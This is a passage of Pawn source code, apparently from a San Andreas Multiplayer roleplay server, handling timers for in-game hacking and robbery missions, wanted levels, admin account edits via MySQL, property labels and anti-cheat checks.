WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s tried to hack gates but failed.", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
SCM(playerid, COLOR_SINAGHERMEZ, "Hacking gates mission failed");
new hwarn[144];
new name[MAX_PLAYER_NAME];
new rankname[50];
if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
new sex[10];
if(PINFO[playerid][pSex] == 1) sex = "he";
if(PINFO[playerid][pSex] == 2) sex = "she";
GetPlayerName(playerid, name, sizeof(name));
format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s failed on hacking gates, now %s has 6 wanted levels",rankname,name,sex);
SendHackerMessage(COLOR_HACKER, hwarn);
	if(HackedGatesTimer[playerid]){KillTimer(HackedGatesTimer[playerid]);HackedGatesTimer[playerid]=0;}
	if(FindCheckHack[playerid]){KillTimer(FindCheckHack[playerid]);FindCheckHack[playerid]=0;}
	if(TimerToHackGates[playerid]){KillTimer(TimerToHackGates[playerid]);TimerToHackGates[playerid]=0;}
	if(FindHackerTimer[playerid]){KillTimer(FindHackerTimer[playerid]);FindHackerTimer[playerid]=0;}
	if(GateHackDelay[playerid]){KillTimer(GateHackDelay[playerid]);GateHackDelay[playerid]=0;}
	if(WireConnect[playerid]){KillTimer(WireConnect[playerid]);WireConnect[playerid]=0;}
ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
return 1;
}
forward HackedGatesTimerz(playerid);
public HackedGatesTimerz(playerid)
{
ImHackedGates[playerid] = 0;
KillTimer(HackedGatesTimer[playerid]);
SCM(playerid, COLOR_SINARANG, "Jail gates is no longer hacked by you.");
return 1;
}
forward WireConnectz(playerid);
public WireConnectz(playerid)
{
	if(WireConnect[playerid]){KillTimer(WireConnect[playerid]);WireConnect[playerid]=0;}
SCM(playerid, COLOR_SINARANG, "Wires connected.");
StopLoopingAnim(playerid);
new Avval = RandomShomare(1000,5000);
new Dovvom = RandomShomare(6000,10000);
new Akhar = RandomShomare(Avval,Dovvom);
HackingNumber[playerid] = Akhar;
HackingNumberMin[playerid] = Avval;
HackingNumberMax[playerid] = Dovvom;
new mainz[300];
new title[30];
format(mainz,sizeof(mainz),"Hacking ATM...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}", HackingNumberMin[playerid], HackingNumberMax[playerid]);
format(title, sizeof(title), "Hacking ATM");
ShowPlayerDialog(playerid,6599,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
return 1;
}
forward ForceEndz(playerid);
public ForceEndz(playerid)
{
if(ForceEnd[playerid]!=0){KillTimer(ForceEnd[playerid]); ForceEnd[playerid]=0;}
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Hacking ATM",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s was hacking an ATM", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
SCM(playerid, COLOR_SINARANG, "You didn't hacked ATM in specific time.");
ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
return 1;
}
forward ForceEndCopz(playerid);
public ForceEndCopz(playerid)
{
if(ForceEndCop[playerid]!=0){KillTimer(ForceEndCop[playerid]); ForceEndCop[playerid]=0;}
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Hacking Cops",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s was hacking cops systems", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
SCM(playerid, COLOR_SINARANG, "You didn't hacked cops systems in specific time.");
ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
return 1;
}
forward OnOfflineChangePassSearch(tmp[],newpass[],playerid);
public OnOfflineChangePassSearch(tmp[],newpass[],playerid)
{
    new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't exist in database.");
    new query[1024];
    new queryz[500];
    new passer[129];
	new thispw[129];
	strcpy(thispw,newpass,129);
    WP_Hash(passer, sizeof(passer), thispw);
    mysql_format(handle,query,sizeof(query),"UPDATE `users` SET pKey='%e' WHERE pName='%e'",passer,tmp);
    mysql_tquery(handle,query,"OnPassChanged","ssi",tmp,newpass,playerid);
    mysql_format(handle,queryz,sizeof(queryz),"UPDATE `users` SET pAutoIP='255.255.255.255' WHERE pName='%e'",tmp);
    mysql_tquery(handle, queryz, "SendQuery", "");
    return 1;
}
forward OnPassChanged(tmp[],newpass[],playerid);
public OnPassChanged(tmp[],newpass[],playerid)
{
printf("Player %s's password was changed by admin %s", tmp, RPName(playerid));
new fazamaza[144];
format(fazamaza, 144, "Player {ffffff}%s{FFFF00}'s password was changed to:",tmp);
SendMessage(playerid, COLOR_YELLOW, fazamaza);
format(fazamaza, 144, "%s",newpass);
SendMessage(playerid, COLOR_YELLOW, fazamaza);
return 1;
}
forward OnOfflineChangeNickSearch(oldname[],newname[],playerid);
public OnOfflineChangeNickSearch(oldname[],newname[],playerid)
{
    new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't exist in database.");
    new tmp[MAX_PLAYER_NAME];
    cache_get_field_content(0,"pMarriedTo",tmp,handle,sizeof(tmp));
    new xxs=cache_get_field_content_int(0,"pAdmin");
    if(xxs>PINFO[playerid][pAdmin])return Error(playerid, "Error: You can't use this command for your higher ranks people.")
    new query[128];
    mysql_format(handle,query,sizeof(query),"UPDATE `users` SET pName='%e' WHERE pName='%e'",newname,oldname);
    mysql_tquery(handle,query,"OnOfflinePlayerNickChanged","ssiiiis",oldname,newname,playerid,cache_get_field_content_int(0,"pPhousekey"),cache_get_field_content_int(0,"pPbiskey"),cache_get_field_content_int(0,"pPbiskey"),tmp);
    return 1;
}
forward OnOfflinePlayerNickChanged(oldname[],newname[],playerid,house,bouse,sbiz,MarriedTo[]);
public OnOfflinePlayerNickChanged(oldname[],newname[],playerid,house,bouse,sbiz,MarriedTo[])
{
    new str[128],string[768];
    format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has changed player %s's nickname to %s (Offline)",RPName(playerid),oldname,newname);
    SendAdminMessage(COLOR_AdminWarn,str);
    if(house!=9999)
    {
        if(strcmp(oldname, HouseInfo[house][hOwner], true) == 0)
        {
            strmid(HouseInfo[house][hOwner], newname, 0, strlen(newname), 255);
            if(HouseInfo[house][hOwned]==1)
            {
                if(HouseInfo[house][hRentabil]==1)
                {
                    format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s \n{009A00}Level: {FFFFFF}%d \n{009A00}To rent a room type {FFFFFF}/rentroom",house,HouseInfo[house][hOwner],FormatNumber(HouseInfo[house][hRent]),HouseInfo[house][hLevel]);
                    UpdateDynamic3DTextLabelText(houser[house],-1,string);
                }
                else
                {
                    format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d",house,HouseInfo[house][hOwner], HouseInfo[house][hLevel]);
                    UpdateDynamic3DTextLabelText(houser[house],-1,string);
                }
            }
            else if(HouseInfo[house][hOwned]==2)
            {
                if(HouseInfo[house][hRentabil]==1)
                {
                    format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s\n{009A00}Level: {FFFFFF}%d \n{009A00}Cost: {FFFFFF}$%s\n{009A00}To rent a room type {FFFFFF}/rentroom\n{009A00}To buy this house type {FFFFFF}/buyhouse",house,HouseInfo[house][hOwner],FormatNumber(HouseInfo[house][hRent]),HouseInfo[house][hLevel],FormatNumber(HouseInfo[house][hForosh]));
                    UpdateDynamic3DTextLabelText(houser[house],-1,string);
                }
                else
                {
                    format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d\n{009A00}Cost: {FFFFFF}$%s\n{009A00}To buy this house type {FFFFFF}/buyhouse",house,HouseInfo[house][hOwner], HouseInfo[house][hLevel], FormatNumber(HouseInfo[house][hForosh]));
                    UpdateDynamic3DTextLabelText(houser[house],-1,string);
                }
            }
            //SaveHouse(house);
        }
    }
    if(bouse!=9999)
    {
        if(strcmp(oldname, BizzInfo[bouse][bOwner], false) == 0)
        {
            strmid(BizzInfo[bouse][bOwner],newname,0,strlen(newname),255);
            if(BizzInfo[bouse][bOwned] == 1)
            {
                format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enter to enter",BizzInfo[bouse],BizzInfo[bouse][bMessage],BizzInfo[bouse][bOwner],FormatNumber(BizzInfo[bouse][bEntranceCost]));
                UpdateDynamic3DTextLabelText(bizer[bouse], COLOR_BIZ, string);
            }
            else if(BizzInfo[bouse][bOwned] == 2)
            {
                format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \n{3366ff}Owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Cost: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enter to enter \n{3366ff}to buy this Business type {FFFFFF}/buybiz",BizzInfo[bouse],BizzInfo[bouse][bMessage],BizzInfo[bouse][bOwner],FormatNumber(BizzInfo[bouse][bEntranceCost]),FormatNumber(BizzInfo[bouse][bForosh]));
                UpdateDynamic3DTextLabelText(bizer[bouse], COLOR_BIZ, string);
            }
            //SaveBus(bouse);
        }
    }
    if(sbiz!=9999)
    {
        if(SBizzInfo[sbiz][sbOwned] == 1)
        {
            format(string, sizeof(string), "{3366ff}SBiz ID %d \n{FFFFFF}%s \n{3366ff}This Business is owned by: {FFFFFF}%s \n{3366ff}Fee: {FFFFFF}$%s",SBizzInfo[sbiz],SBizzInfo[sbiz][sbMessage],SBizzInfo[sbiz][sbOwner],SBizzInfo[sbiz][sbEntranceCost]);
            UpdateDynamic3DTextLabelText(sbizer[sbiz],-1,string);
        }
        else if(SBizzInfo[sbiz][sbOwned] == 2)
        {
            format(string, sizeof(string), "{3366ff}SBiz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \nOwned by: {FFFFFF}%s \n{3366ff}Fee: {FFFFFF}$%s \n{3366ff}Cost: {FFFFFF}$%s \n{3366ff}to buy this Business type {FFFFFF}/buybiz",SBizzInfo[sbiz],SBizzInfo[sbiz][sbMessage],SBizzInfo[sbiz][sbOwner],FormatNumber(SBizzInfo[sbiz][sbEntranceCost]),FormatNumber(SBizzInfo[sbiz][sbForosh]));
            UpdateDynamic3DTextLabelText(sbizer[sbiz],-1,string);
        }
        //SaveSBus(sbiz);
    }
    if(!strcmp(MarriedTo,"No-one",true))
    {

    }
    else
    {
    	new idtmp=ReturnUserEx(MarriedTo);
    	if(idtmp==INVALID_PLAYER_ID)
    	{
    		new query[115];
    		mysql_format(handle,query,sizeof(query),"UPDATE `users` SET pMarriedTo='%e' WHERE pMarriedTo='%e'",newname,MarriedTo);
    		mysql_tquery(handle,query);
    	}
    	else
    	{
    		format(PlayerInfo[idtmp][pMarriedTo],MAX_PLAYER_NAME,newname);
    	}
    }
    CustomPickups();
    return 1;
}
forward GetThisFacZ(playerid);
public GetThisFacZ(playerid)
{
KillTimer(GetThisFac[playerid]);
SCM(playerid, COLOR_YELLOW, SaveThisData1[playerid]);
SCM(playerid, COLOR_YELLOW, SaveThisData2[playerid]);
SCM(playerid, COLOR_YELLOW, SaveThisData3[playerid]);
SendMessage(playerid, CRISTIAN, "|_______________________________________________|");
SaveThisData1[playerid] = "NULL";
SaveThisData2[playerid] = "NULL";
SaveThisData3[playerid] = "NULL";
return 1;
}
forward GetThisFacZZZ(playerid);
public GetThisFacZZZ(playerid)
{
KillTimer(GetThisFacZZ[playerid]);
SCM(playerid, COLOR_LIGHTRED, SaveThisData1[playerid]);
SCM(playerid, COLOR_LIGHTRED, SaveThisData2[playerid]);
SCM(playerid, COLOR_LIGHTRED, SaveThisData3[playerid]);
SaveThisData1[playerid] = "NULL";
SaveThisData2[playerid] = "NULL";
SaveThisData3[playerid] = "NULL";
ISelectedWhat[playerid] = 9999;
SendMessage(playerid, CRISTIAN, "|_______________________________________________|");
return 1;
}
/*
forward PlayerFlyHack(playerid);
public PlayerFlyHack(playerid)// new flyhack (parachute animation fly) (Prevented by Sina)
{
KillTimer(FlyCheatTimer[playerid]);
FlyCheatTimer[playerid]=0;
new sendmes[144];
new Float:PACKET = NetStats_PacketLossPercent(playerid);
if(flymode[playerid] != 1 && anticheat[playerid] != 0)
{
new Float:Pos_x,Float:Pos_y,Float:Pos_z;
new anim = GetPlayerAnimationIndex(playerid);
GetPlayerVelocity(playerid, Pos_x, Pos_y, Pos_z);
if((Pos_x <= -0.800000 || Pos_y <= -0.800000 || Pos_z <= -0.800000) && anim == 1008)
{
if(cheatcodefly[playerid] == 0)
{
CheatsCount[playerid]++;
SetTimerEx("cheatcode1timer", 5000, 0, "i", playerid);
cheatcodefly[playerid] = 1;
format(sendmes, sizeof(sendmes), "{ffffff}Player %s(%i) abk/fly suspicious PL: %0.2f, FPS: %d",RPName(playerid), playerid, PACKET, pFPS[playerid]);
AdminWarn(sendmes);
}
}
}
if(CheatsCount[playerid] >= CheatMaxWarn)
{
if(PINFO[playerid][pAdmin] < 12)
{
   SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
   SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
   RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
}
}
return 1;
}
*/
/*
forward PlayerFlyHack2(playerid);
public PlayerFlyHack2(playerid)// old flyhack (swimming animation fly) (Prevented by Sina)
{
KillTimer(FlyCheatTimer2[playerid]);
FlyCheatTimer2[playerid]=0;
new sendmes[144];
new Float:PACKET = NetStats_PacketLossPercent(playerid);
if(flymode[playerid] != 1 && anticheat[playerid] != 0)
{
new Float:animX,Float:animY,Float:animZ;
new anim = GetPlayerAnimationIndex(playerid);
GetPlayerPos(playerid, animX, animY, animZ);
if((anim >= 1538) && (anim <= 1542) && animZ > 5)
{
if(cheatcodefly2[playerid] == 0)
{
CheatsCount[playerid]++;
SetTimerEx("cheatcode1timer2", 5000, 0, "i", playerid);
cheatcodefly2[playerid] = 1;
format(sendmes, sizeof(sendmes), "{ffffff}Player %s(%i) abk/fly suspicious PL: %0.2f, FPS: %d",RPName(playerid), playerid, PACKET, pFPS[playerid]);
AdminWarn(sendmes);
}
}
}
if(CheatsCount[playerid] >= CheatMaxWarn)
{
if(PINFO[playerid][pAdmin] < 12)
{
   SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
   SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
   RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
}
}
return 1;
}
*/
forward DSyncCoolDown(playerid);
public DSyncCoolDown(playerid)
{
KillTimer(DeSyncCool[playerid]);
DeSyncCool[playerid]=0;
SyncCoolDown[playerid] = 0;
return 1;
}
forward DesyncBeginz(playerid);
public DesyncBeginz(playerid)
{
KillTimer(DesyncBegin[playerid]);
DesyncBegin[playerid]=0;
DisableDWarning[playerid] = 0;
return 1;
}
stock GetZoneNameEx(playerid)
{
new mahalezone[100];
GetPlayerZoneName(playerid, mahalezone, 100);
if(GetPlayerInterior(playerid) != 0) mahalezone = "In an interior";
if(Mahal[playerid] == 1) mahalezone = "Paintball (LS)";
if(Mahal[playerid] == 2) mahalezone = "Jail (LS)";
if(Mahal[playerid] == 3) mahalezone = "In a house";
if(Mahal[playerid] == 4) mahalezone = "CityHall (LS)";
if(Mahal[playerid] == 5) mahalezone = "LSPD (LS)";
if(Mahal[playerid] == 6) mahalezone = "FBI HQ (LV)";
if(Mahal[playerid] == 70) mahalezone = "Paramedic HQ (LV)";
if(Mahal[playerid] == 7) mahalezone = "The Silene Mafia HQ (LS)";
if(Mahal[playerid] == 8) mahalezone = "Fast N Furious HQ  (LV)";
if(Mahal[playerid] == 9) mahalezone = "The Killers Family HQ (LV)";
if(Mahal[playerid] == 10) mahalezone = "Hitman Agency HQ (LS)";
if(Mahal[playerid] == 11) mahalezone = "Storm Men Family HQ (LS)";
if(Mahal[playerid] == 12) mahalezone = "Dangerous Tiger Family HQ (LS)";
if(Mahal[playerid] == 13) mahalezone = "Legendary Men Family HQ (LS)";
if(Mahal[playerid] == 14) mahalezone = "Taxi HQ (LV)";
if(Mahal[playerid] == 15) mahalezone = "In a business";
if(Mahal[playerid] == 1685) mahalezone = "Unknowns HQ (LS)";
if (!GetPlayerZoneName(playerid, mahalezone, 100))
{
    mahalezone = "Unknown Place";
}
return mahalezone;
}
forward GPSTimerz(playerid);
public GPSTimerz(playerid)
{
new mahalezone[100];
GetPlayerZoneName(playerid, mahalezone, 100);
if(GetPlayerInterior(playerid) != 0) mahalezone = "In an interior";
if(Mahal[playerid] == 1) mahalezone = "Paintball (LS)";
if(Mahal[playerid] == 2) mahalezone = "Jail (LS)";
if(Mahal[playerid] == 3) mahalezone = "In a house";
if(Mahal[playerid] == 4) mahalezone = "CityHall (LS)";
if(Mahal[playerid] == 5) mahalezone = "LSPD (LS)";
if(Mahal[playerid] == 6) mahalezone = "FBI HQ (LV)";
if(Mahal[playerid] == 70) mahalezone = "Paramedic HQ (LV)";
if(Mahal[playerid] == 7) mahalezone = "The Silene Mafia HQ (LS)";
if(Mahal[playerid] == 8) mahalezone = "Fast N Furious HQ  (LV)";
if(Mahal[playerid] == 9) mahalezone = "The Killers Family HQ (LV)";
if(Mahal[playerid] == 10) mahalezone = "Hitman Agency HQ (LS)";
if(Mahal[playerid] == 11) mahalezone = "Storm Men Family HQ (LS)";
if(Mahal[playerid] == 12) mahalezone = "Dangerous Tiger Family HQ (LS)";
if(Mahal[playerid] == 13) mahalezone = "Legendary Men Family HQ (LS)";
if(Mahal[playerid] == 14) mahalezone = "Taxi HQ (LV)";
if(Mahal[playerid] == 15) mahalezone = "In a business";
if(Mahal[playerid] == 1685) mahalezone = "Unknowns HQ (LS)";
if (!GetPlayerZoneName(playerid, mahalezone, 100))
{
    mahalezone = "Unknown Place";
}
new GPSer[144];
format(GPSer, sizeof(GPSer), "%s", mahalezone);
PlayerTextDrawSetString(playerid, GPSS[playerid], GPSer);
return 1;
}
forward CoolDownePIN(playerid);
public CoolDownePIN(playerid)
{
PCoolDown[playerid] = 0;
KillTimer(PINCoolDown[playerid]);
PINCoolDown[playerid]=0;
return 1;
}
forward ShopRobbing(playerid);
public ShopRobbing(playerid)
{
if(SRTimer[playerid]!=0){KillTimer(SRTimer[playerid]);
SRTimer[playerid]=0;}
SCM(playerid, COLOR_SINAGHERMEZ, "Shop robbing mission failed due to time.");
if(Robbing[playerid] == 1)
{
 RespawnNPCLS();
}
if(Robbing[playerid] == 2)
{
 RespawnNPCLV();
}
if(Robbing[playerid] == 3)
{
 RespawnNPCSF();
}
Robbing[playerid] = 0;
new Float:XX, Float:YY, Float:ZZ;
GetPlayerPos(playerid, XX, YY, ZZ);
SetPlayerPos(playerid, XX, YY, ZZ);
if(TIMer[playerid]!=0){KillTimer(TIMer[playerid]);
TIMer[playerid] = 0;}
return 1;
}
forward CheckIfEnd(playerid);
public CheckIfEnd(playerid)
{
if(TIMer[playerid]!=0){
KillTimer(TIMer[playerid]);
TIMer[playerid] = 0;}
if(SRTimer[playerid]!=0){
KillTimer(SRTimer[playerid]);
SRTimer[playerid]=0;}
new Ra = RandomShomare(500,5000);
new Ra2 = RandomShomare(10000,50000);
new Ra3 = RandomShomare(10000,15000);
new begoo[50];
if(Robbing[playerid] == 1)
{
new firstprize = (BizzInfo[82][bEntranceCost]+Ra);
new secprize = (firstprize*2);
new thprize = (secprize*2);
new ftprize = (thprize+Ra2);
GivePlayerPool(playerid, ftprize);
format(begoo, sizeof(begoo), "~g~+$%s",FormatNumber(ftprize));
GameTextForPlayer(playerid, begoo, 5000, 1);
TimerLS = SetTimer("LSCoolDown", 600000, 0);
SCM(playerid, COLOR_SINASABZ, "Mission successful.");
new Float:XX, Float:YY, Float:ZZ;
GetPlayerPos(playerid, XX, YY, ZZ);
SetPlayerPos(playerid, XX, YY, ZZ);
Robbing[playerid] = 0;
BizzInfo[82][bLocked] = 1;
}
if(Robbing[playerid] == 2)
{
new firstprize = (BizzInfo[83][bEntranceCost]+Ra);
new secprize = (firstprize*2);
new thprize = (secprize*2);
new ftprize = (thprize+Ra2);
GivePlayerPool(playerid, ftprize);
format(begoo, sizeof(begoo), "~g~+$%s",FormatNumber(ftprize));
GameTextForPlayer(playerid, begoo, 5000, 1);
TimerLV = SetTimer("LVCoolDown", 600000, 0);
SCM(playerid, COLOR_SINASABZ, "Mission successful.");
new Float:XX, Float:YY, Float:ZZ;
GetPlayerPos(playerid, XX, YY, ZZ);
SetPlayerPos(playerid, XX, YY, ZZ);
Robbing[playerid] = 0;
BizzInfo[83][bLocked] = 1;
}
if(Robbing[playerid] == 3)
{
new firstprize = (BizzInfo[84][bEntranceCost]+Ra);
new ftprize = (firstprize+Ra3);
GivePlayerPool(playerid, ftprize);
format(begoo, sizeof(begoo), "~g~+$%s",FormatNumber(ftprize));
GameTextForPlayer(playerid, begoo, 5000, 1);
TimerSF = SetTimer("SFCoolDown", 600000, 0);
SCM(playerid, COLOR_SINASABZ, "Mission successful.");
new Float:XX, Float:YY, Float:ZZ;
GetPlayerPos(playerid, XX, YY, ZZ);
SetPlayerPos(playerid, XX, YY, ZZ);
Robbing[playerid] = 0;
BizzInfo[84][bLocked] = 1;
}
return 1;
}
forward RTimerZ(playerid, type);
public RTimerZ(playerid, type)
{
KillTimer(RTimer[playerid]);
RTimer[playerid] = 0;
if(type == 1)
{
if(!FCNPC_IsDead(NPCLS))
{
RespawnNPCLS();
SCM(playerid, COLOR_SINAGHERMEZ, "Mission failed. You didn't kill cashier in 10 seconds.");
Robbing[playerid] = 0;
}
}
if(type == 2)
{
if(!FCNPC_IsDead(NPCLV))
{
RespawnNPCLV();
SCM(playerid, COLOR_SINAGHERMEZ, "Mission failed. You didn't kill cashier in 10 seconds.");
Robbing[playerid] = 0;
}
}
if(type == 3)
{
if(!FCNPC_IsDead(NPCSF))
{
RespawnNPCSF();
SCM(playerid, COLOR_SINAGHERMEZ, "Mission failed. You didn't kill cashier in 10 seconds.");
Robbing[playerid] = 0;
}
}
return 1;
}
forward DonerZz(playerid);
public DonerZz(playerid)
{
new Show[150];
PlayerTextDrawShow(playerid, needlog[playerid]);
format(Show, sizeof(Show), "~w~Go to the ~r~red~w~ dot on your map");
PlayerTextDrawSetString(playerid, needlog[playerid], Show);
KillTimer(DonerZ[playerid]);
DonerZ[playerid] = 0;
return 1;
}
forward DonerZz2(playerid);
public DonerZz2(playerid)
{
new Show[150];
PlayerTextDrawShow(playerid, needlog[playerid]);
format(Show, sizeof(Show), "~w~Be noghteye ~r~ghermeze~w~ dakhele naghshe boro");
PlayerTextDrawSetString(playerid, needlog[playerid], Show);
KillTimer(DonerZ2[playerid]);
DonerZ2[playerid] = 0;
return 1;
}
forward CarRespawnerZ(vehicleid);
public CarRespawnerZ(vehicleid)
{
SetVehicleToRespawn(vehicleid);
KillTimer(CarRespawner[vehicleid]);
return 1;
}
forward SickTimeZ(playerid);
public SickTimeZ(playerid)
{
KillTimer(SickTime[playerid]);
SickTime[playerid] = 0;
StopLoopingAnim(playerid);
MOWED[playerid] = 0;
new formater[144];
new getrn = RandomShomare(1,5);
new getrnz = RandomShomare(2,10);
if(getrn == 1)
{
format(formater, sizeof(formater), "You mowed %s grapes.",FormatNumber(getrnz));
SCM(playerid, COLOR_SINARANG, formater);
PlayerInfo[playerid][pDJ] += getrnz;
SaveKonVal(playerid, "pDJ", PlayerInfo[playerid][pDJ]);
}
if(getrn == 2)
{
SCM(playerid, COLOR_SINARANG, "You mowed 0 grapes.");
}
if(getrn == 3)
{
format(formater, sizeof(formater), "You mowed %s grapes.",FormatNumber(getrnz));
SCM(playerid, COLOR_SINARANG, formater);
PlayerInfo[playerid][pDJ] += getrnz;
SaveKonVal(playerid, "pDJ", PlayerInfo[playerid][pDJ]);
}
if(getrn == 4)
{
SCM(playerid, COLOR_SINARANG, "You mowed 0 grapes.");
}
if(getrn == 5)
{
SCM(playerid, COLOR_SINARANG, "You mowed 0 grapes.");
}
return 1;
}
forward ConvTimeZ(playerid, liquors, grapes);
public ConvTimeZ(playerid, liquors, grapes)
{
new formater[144];
KillTimer(ConvTime[playerid]);
ConvTime[playerid] = 0;
format(formater, sizeof(formater), "You have converted %s grapes to %s liquors.", FormatNumber(grapes), FormatNumber(liquors));
SCM(playerid, COLOR_SINARANG, formater);
PlayerInfo[playerid][pGMute] += liquors;
SaveKonVal(playerid, "pGMute", PINFO[playerid][pGMute]);
StopLoopingAnim(playerid);
TogglePlayerControllable(playerid, 1);
return 1;
}
forward CheckMehz(playerid);
public CheckMehz(playerid)
{
if(CantHoldGun[playerid]==1){SetPlayerArmedWeapon(playerid, 0);}

ForEachPlayer(i)
{


if(PINFO[playerid][pAdmin] >= 1 && ASAR[playerid] == 1)
{
if(Reported[i] == playerid)
{
AnsweringReport[playerid] = 1;
}
else
{
AnsweringReport[playerid] = 0;
}
}


if(PINFO[playerid][pHelper] >= 1 && HSAR[playerid] == 1)
{
if(Helpme[i] == playerid)
{
AnsweringHelpme[playerid] = 1;
}
else
{
AnsweringHelpme[playerid] = 0;
}
}


}
if(DesyncCount[playerid] >= 5)
{
new syncer[90];
DesyncCount[playerid] = 0;
format(syncer, sizeof(syncer), "{ffffff}Player %s(%i) is desync",RPName(playerid), playerid);
AdminWarn(syncer);
}
if((ImDrived[playerid]>=3)&&(anticheat[playerid]!=0)&&(PINFO[playerid][pAdmin]<12))
{
SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: You are suspicious for using Car Shooter or Teleport Hack between vehicles.");
SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
}
return 1;
}
forward WantedBede(playerid, wlevel, reason[], radiowarn[]);
public WantedBede(playerid, wlevel, reason[], radiowarn[])// By Sina
{
   new sendradio[144];
   SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+wlevel);
   SetPlayerCriminal(playerid,INVALID_PLAYER_ID, reason,wlevel);
   WantedKamKonTimerValid[playerid] = true;
   WantedTimerEZ[playerid] = 900;
   PlayerTextDrawShow(playerid, WantedTTD[playerid]);
   format(sendradio, sizeof(sendradio), "[{00FF00}D-Warn{0000FF}]{FF0000}:{FFFF00} %s", radiowarn);
   SendFamilyMessage(1, COLOR_SINAABI, sendradio);
   SendFamilyMessage(2, COLOR_SINAABI, sendradio);
   SendFamilyMessage(3, COLOR_SINAABI, sendradio);
   return 1;
}
forward DozdidamDige(playerid);
public DozdidamDige(playerid)
{
	KillTimer(DozdidamTimer[playerid]);
	DozdidamTimer[playerid] = 0;
	Dozdidam[playerid] = 0;
	return 1;
}
forward DozdidanDige(playerid);
public DozdidanDige(playerid)
{
	KillTimer(DozdidanTimer[playerid]);
	DozdidanTimer[playerid] = 0;
	Dozdidan[playerid] = 0;
	return 1;
}
forward UnFreezeMe(playerid);
public UnFreezeMe(playerid)
{
KillTimer(FreezeTimerX[playerid]);
FreezeTimerX[playerid] = 0;
CouldUseCMD[playerid] = 0;
TogglePlayerControllable(playerid, 1);
return 1;
}
forward FreezePlayer(playerid);
public FreezePlayer(playerid)
{
FreezeTimerX[playerid] = SetTimerEx("UnFreezeMe", 800, false, "i", playerid);
CouldUseCMD[playerid] = 1;
TogglePlayerControllable(playerid, 0);
return 1;
}
forward BankIdleTimerX(playerid);
public BankIdleTimerX(playerid)
{
if(BankIdleTimer[playerid]!=0){KillTimer(BankIdleTimer[playerid]); BankIdleTimer[playerid] = 0;}
if(ImInSection[playerid]!=0)
{
ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
if(ImInSection[playerid]==11) BankLS1 = 0;
if(ImInSection[playerid]==12) BankLS2 = 0;
if(ImInSection[playerid]==13) BankLS3 = 0;
